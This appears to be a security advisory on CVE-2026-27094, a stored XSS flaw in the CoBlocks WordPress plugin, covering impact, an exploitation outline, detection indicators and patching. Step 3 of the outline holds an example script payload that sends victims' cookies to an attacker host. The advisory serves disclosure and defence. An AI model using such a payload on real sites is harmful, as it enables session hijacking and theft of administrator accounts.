CVE-2026-27094: 
WordPress vulnerability analysis and mitigation

CVE-2026-27094 is a Stored Cross-Site Scripting (XSS) vulnerability in GoDaddy's CoBlocks WordPress plugin, classified under CWE-79 (Improper Neutralization of Input During Web Page Generation). It affects CoBlocks versions up to and including 3.1.16, allowing authenticated attackers with low privileges to inject and store malicious scripts that execute in victims' browsers. The vulnerability was published on February 19, 2026, and carries a CVSS v3.1 base score of 6.5 (Medium) (Feedly).

The vulnerability stems from insufficient input sanitization and output encoding within the CoBlocks plugin (CWE-79), allowing user-supplied content to be stored and later rendered as executable JavaScript in the context of other users' browsers. Because the scope is marked as Changed, the injected script can affect browser sessions beyond the application's own origin. Exploitation requires an authenticated user with at least low-level privileges (e.g., Contributor or Author role) to submit a crafted payload through a vulnerable CoBlocks block or field, and a victim (such as an administrator) must subsequently view the affected page (Feedly).

Successful exploitation allows an attacker to execute arbitrary JavaScript in the context of other users' browsers, including administrators, potentially leading to session hijacking, credential theft, unauthorized administrative actions, or defacement of WordPress site content. The changed scope means the impact extends beyond the attacker's own session, and low confidentiality, integrity, and availability impacts are assessed at the component level. In a worst-case scenario, an attacker could leverage admin-level XSS execution to install malicious plugins or create rogue administrator accounts (Feedly).

No public proof-of-concept exploit code or evidence of active in-the-wild exploitation has been identified for CVE-2026-27094 at this time. The EPSS score is approximately 0.029% (0.000290), indicating a low probability of exploitation in the near term. The vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. Exploitation requires authenticated access, which somewhat limits the attack surface compared to unauthenticated vulnerabilities (Feedly).

1. Reconnaissance: Identify WordPress sites running CoBlocks plugin version 3.1.16 or earlier using tools like WPScan or by inspecting page source for CoBlocks block markup.
2. Obtain low-privilege access: Register or obtain credentials for a Contributor or Author account on the target WordPress site.
3. Craft malicious payload: Create a post or page using a vulnerable CoBlocks block and inject a stored XSS payload (e.g., <script>document.location='https://attacker.com/steal?c='+document.cookie</script>) into an insufficiently sanitized input field.
4. Publish or save content: Submit the content so the malicious payload is stored in the WordPress database.
5. Wait for victim interaction: When an administrator or other privileged user views the affected page, the stored script executes in their browser, potentially stealing session cookies or performing actions on their behalf (Feedly).

• Logs: WordPress access logs showing POST requests to wp-admin/post.php or REST API endpoints (/wp-json/wp/v2/) containing encoded script tags or JavaScript event handlers from low-privilege accounts.
• Database: Unexpected <script> tags, javascript: URIs, or HTML event attributes (e.g., onerror, onload) stored in the wp_posts or wp_postmeta tables associated with CoBlocks block content.
• Network: Outbound requests from victim browsers to unknown external domains shortly after loading pages containing CoBlocks blocks, potentially indicating cookie or credential exfiltration.
• File System: Newly created or modified WordPress admin accounts or installed plugins not authorized by legitimate administrators, which may indicate post-exploitation activity.

Users should update the CoBlocks plugin to a version beyond 3.1.16 that addresses this vulnerability; check the WordPress plugin repository or GoDaddy's official release notes for the patched version. As a temporary workaround, restrict the ability of untrusted users (Contributors, Authors) to create or edit content using CoBlocks blocks until the patch is applied. Additionally, implementing a Web Application Firewall (WAF) with XSS filtering rules can help reduce exploitation risk (Feedly).